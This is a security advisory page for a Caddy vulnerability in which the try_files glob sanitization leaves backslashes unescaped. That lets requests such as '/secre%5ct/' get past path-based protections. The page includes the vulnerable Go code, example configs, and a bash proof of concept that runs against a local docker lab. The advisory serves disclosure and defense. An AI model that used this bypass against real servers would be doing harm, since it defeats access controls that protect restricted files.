GHSA-4XRR-HQ4W-6VF4

Vulnerability from github – Published: 2026-02-24 20:16 – Updated: 2026-02-24 20:16
VLAI?
Summary
Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections
Details

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html. 

example.com {
    root * /srv
    encode
    try_files {path} /index.html
    file_server
}

try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part. 

var globSafeRepl = strings.NewReplacer(
    "*", "\\*",
    "[", "\\[",
    "?", "\\?",
)

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
    if runtime.GOOS == "windows" {
        return val, nil
    }
    switch v := val.(type) {
    case string:
        return globSafeRepl.Replace(v), nil
    case fmt.Stringer:
        return globSafeRepl.Replace(v.String()), nil
    }
    return val, nil
})

The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.

For example the following config isn't vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    try_files {path} /index.html
    file_server
}

But this one is vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    route /* {
        try_files {path} /index.html
    }
    file_server
}

This config is also vulnerable because Header directives executes before try_files. 

:80 {
    root * /srv 
    header /uploads/* {
        X-Content-Type-Options "nosniff"
        Content-Security-Policy "default-src 'none';"
    }
    try_files {path} /index.html
    file_server
}

PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

#!/bin/bash

mkdir secret
echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF'
:80 {
    root * /srv

    try_files {path} /index.html
    file_server
}
EOF

cat > nginx.conf <<'EOF'
events {}

http {
    server {
        listen 80;

        location /secret {
            return 403;
        }

        location / {
            proxy_pass http://caddy;
            proxy_set_header Host $host;
        }
    }
}
EOF

cat > docker-compose.yml <<'EOF'
services:
  caddy:
    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
    image: caddy:latest
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./secret:/srv/secret:ro
  nginx:
    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
    image: nginx:latest
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "8000:80" 
EOF

docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'

Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

Severity ?
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.11.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2/modules/caddyhttp/fileserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:16:55Z",
    "nvd_published_at": "2026-02-24T17:29:03Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn\u0027t sanitize backslashes which can lead to bypassing path related security protections.\n\n### Details\n\nThe [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It\u0027s commonly used in Caddy configs. For example, it\u0027s used in SPA applications to rewrite every route that doesn\u0027t exist as a file to `index.html`. \n \n```caddy\nexample.com {\n\troot * /srv\n\tencode\n\ttry_files {path} /index.html\n\tfile_server\n}\n```\n\n`try_files` patterns are actually glob patterns and file matcher expands them. The `{path}` in the pattern is replaced with\nthe request path and then [is expanded by `fs.Glob`](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398). The request path is sanitized before being placed inside the pattern and the special chars are escaped . [The following code](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) is the sanitization part.   \n\n```go\nvar globSafeRepl = strings.NewReplacer(\n\t\"*\", \"\\\\*\",\n\t\"[\", \"\\\\[\",\n\t\"?\", \"\\\\?\",\n)\n\nexpandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {\n    if runtime.GOOS == \"windows\" {\n        return val, nil\n    }\n    switch v := val.(type) {\n    case string:\n        return globSafeRepl.Replace(v), nil\n    case fmt.Stringer:\n        return globSafeRepl.Replace(v.String()), nil\n    }\n    return val, nil\n})\n```\n\nThe problem here is that it does not escape backslashes. `/something-\\*/` can match a file named `something-\\-anything.txt`, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.\n\nThe backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that `h\\ello*` matches `hello world` even though `e` is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows `/documents/*` to the internal network and its upstream is a Caddy server that uses `try_files`, the reverse proxy\u0027s protection can be bypassed by requesting the path `/do%5ccuments/`.\n\nSome configurations that implement blacklisting and serving together in Caddy are also vulnerable but there\u0027s a condition that the `try_files` directive and the filtering `route`/`handle` must not be in a same block because `try_files` directive [executes before `route` and `handle` directives](https://caddyserver.com/docs/caddyfile/directives#directive-order). \n\nFor example the following config isn\u0027t vulnerable.\n\n```caddy\n:80 {\n    root * /srv\n\n    route /documents/* {\n        respond \"Access denied\" 403\n    }\n\n    try_files {path} /index.html\n    file_server\n}\n```\n\nBut this one is vulnerable.\n\n```caddy\n:80 {\n    root * /srv\n\n    route /documents/* {\n        respond \"Access denied\" 403\n    }\n\n    route /* {\n        try_files {path} /index.html\n    }\n    file_server\n}\n```\n\nThis config is also vulnerable because `Header` directives executes before `try_files`. \n\n```caddy\n:80 {\n    root * /srv \n    header /uploads/* {\n        X-Content-Type-Options \"nosniff\"\n        Content-Security-Policy \"default-src \u0027none\u0027;\"\n    }\n    try_files {path} /index.html\n    file_server\n}\n```\n\n### PoC\n\nPaste this script somewhere and run it. It should print \"some content\" which means that the nginx protection has failed.\n\n```bash\n#!/bin/bash\n\nmkdir secret\necho \u0027some content\u0027 \u003e secret/secret.txt\n\ncat \u003e Caddyfile \u003c\u003c\u0027EOF\u0027\n:80 {\n    root * /srv\n\n    try_files {path} /index.html\n    file_server\n}\nEOF\n\ncat \u003e nginx.conf \u003c\u003c\u0027EOF\u0027\nevents {}\n\nhttp {\n    server {\n        listen 80;\n        \n        location /secret {\n            return 403;\n        }\n\n        location / {\n            proxy_pass http://caddy;\n            proxy_set_header Host $host;\n        }\n    }\n}\nEOF\n\ncat \u003e docker-compose.yml \u003c\u003c\u0027EOF\u0027\nservices:\n  caddy:\n    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb\n    image: caddy:latest\n    volumes:\n      - ./Caddyfile:/etc/caddy/Caddyfile:ro\n      - ./secret:/srv/secret:ro\n  nginx:\n    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208\n    image: nginx:latest\n    volumes:\n      - ./nginx.conf:/etc/nginx/nginx.conf:ro\n    ports:\n      - \"8000:80\" \nEOF\n\ndocker compose up -d\ncurl \u0027localhost:8000/secre%5ct/secret.txt\u0027\n```\n\n### Impact\n\nThis vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.\n\n### AI Usage\n\nAn LLM was used to polish this report.",
  "id": "GHSA-4xrr-hq4w-6vf4",
  "modified": "2026-02-24T20:16:56Z",
  "published": "2026-02-24T20:16:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27585"
    },
    {
      "type": "WEB",
      "url": "https://caddyserver.com/docs/caddyfile/directives#directive-order"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.